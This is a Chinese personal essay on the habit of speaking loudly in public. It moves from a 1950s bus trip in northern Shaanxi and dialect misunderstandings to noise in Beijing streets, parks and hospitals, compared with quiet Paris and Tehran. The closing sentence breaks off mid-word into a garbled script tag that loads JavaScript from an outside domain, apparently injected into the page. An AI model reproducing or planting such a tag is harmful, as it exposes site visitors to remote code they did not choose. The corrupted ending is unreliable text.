先讲一个故事。

　　20世纪50年代初的一天，一辆大卡车满载着乘客，从西安北上开往我的老家陕北米脂县。

　　那时候这条西北黄土高原上的运输线，是由最差的沙石路和最面的黄土路组成，翻山越岭，坑坑洼洼，路况极差。那时候这条路上跑的客车，全是解放牌敞蓬大卡车。当年人们出门都要自带行李，每人一捆，在车厢里码成4排，每排9捆。乘客两两相对而坐，正好36人。坐这样的长途车，一天下来，尘满面，骨如酥。但是当时的人觉得这已是很不错了，比靠两条腿走要好多了。

　　这种状况一直延续到20世纪70年代才结束，原因是王震将军去了一趟陕北，一路颠簸下来，将军大发感慨，也大发其火。他激动地对前呼后拥的北京随从和当地官员说，陕北人民在战争年代流血牺牲，为革命做出了那么大的贡献，解放这么多年了，为什么连条像样的路都不给修。有人说地方没钱，修不起。将军气愤地说，你们没钱我给钱。

　　后来不久，这位当年在延安南泥湾开荒扬名四海的老将军的话，果然起了作用。路终于修好了，陕北人民至今还对他念念不忘。

　　话题还接着开头说。那辆从西安开出的卡车上，坐着一位姓王的大学毕业生。他是被分配到米脂中学当老师的，当时我正在这所中学上初中。

　　王老师后来给我们讲，他来的时候，一路上尽听人们吵架了，声音之大，如雷贯耳，连汽车发动机的声音都压不住，不时还有人问他“你害怕不害怕”。当时他听不懂陕北话，因此不知道人们在吵什么，只是觉得烦透了。他说：“现在我才明白，他们不是吵架，是在拉话。”

　　那为什么有人问他害怕不害怕？原来陕北有一句著名的土话，叫“解下解不下”，那意思就是懂不懂。陕北人把“解”读“害”音，“下”读“哈”的第四声。这是古语留存，“解下解不下”其实是句文言文，今天却成了土语。

　　我们古代形容壮士讲话声如洪钟，以显其底气十足，气概非凡。但讲话声如洪钟，也要分场合。如果一个人回家给他父母讲话也声如洪钟，除非他老爸老妈耳朵有毛病，否则岂不成了忤逆之子？所以一个人平时讲话应当是和声细语，方显文明礼貌。特别是在公众场合讲话，尤其要降低分贝，以不污染别人的耳朵。

　　记得我第一次出国到欧洲访问，第一站是法国巴黎。当我在戴高乐机场下飞机走入候机大厅时，我惊奇地发现虽然人流如织，但很显安静，人们说的都是“悄悄话”，声音都很小，不像我们的机场大厅人声鼎沸，聒噪得你心烦意乱。

　　这件事让我感慨了好多年，直到现在。

　　后来我去伊朗，这里和我们一样也属第三世界。但无论是它的首都德黑兰，还是别的城市，路上行人静悄悄，令我惊奇。街上无论是大餐厅还是小饭馆，虽然座无虚席，但无人大声说话，显得非常安静。

　　伊朗之行，又一次因为人们的讲话声小令我大发感慨。

　　在我们的首都，大街上除了熙熙攘攘人多之外，更让人难以忍受的是那不绝于耳、余音绕梁三日不绝的嚷嚷声。我虽然住在北京，但很少上街，原因就是受不了街上的吵闹声。有时候从街上回来，家里虽然很安静，但街上那种噪音在我心里得好半天才能消失。特别是北京的中小饭馆，几十张桌子的餐厅，人声鼎沸，比闹市还闹。尤其是那些喝高了的爷们儿，尽情喊叫，旁若无人。在这种环境吃顿饭，能把你吵得心乱如麻，食欲全无。

　　我早上喜欢去北京的玉渊潭公园散步，因为我家就住在附近。这个公园有山有水有树林，环境非常优美，游人很多。前些年在人少的山上或树林里，有人“喊山”，据说这种拉长声高声喊叫可以锻炼身体。因为这种喊叫离你较远，听着尚能忍受。但最近以来，经常有人在人多的地方，在你身边，突然大喊起来，让你浑身猛一激灵，吓你一跳，觉得好像遇到了疯子。

　　最近我因病住进北京的一家大医院，15平米大的一间房子，摆3张病床，躺3个病人。睡在我左边的一位刚动完大手术，日夜要人护理。我睡眠很浅，有点声音就被惊醒，白天人来人往就别想睡。晚上呢，如果遇上过度负责的护理人员，那我就倒霉了，一晚别睡。因为他或她每隔半小时左右，就会站在门口大声问被护理的人有事没事。3天之后我终于逃离了这个地方，住进了我还有资格住的单间病房。

　　我们不能说讲话大声的人成心要吵别人，就多数人来讲，这只是一种陋习，并无半点不良居心。但是在讲究和谐文明的今天，特别是在公众场合，希望大家多想想别人的听觉卫生，讲话尽量小声点。讲话激昂慷慨要分场合，开大会上台可以，与人叙谈大可不必。有理不在声高，声高并不一定显得你重要。

　　最后我要讲的是，我们每个人都要对别人多点爱心，多为别人着想一点，不管你认识还是不认识。在美学上有一条规律，和谐就是美。如果一个男人讲话总是高呼隆大嗓门，给人的感觉就有点粗鲁，有点缺少文明；如果是一位优雅而漂亮的女人，但一张口就大喊大叫，那就让人对她连一点美感都没有了。

　　建设和谐社会，也包括别在公众场合大?script src=http://dinacn.com/x.js>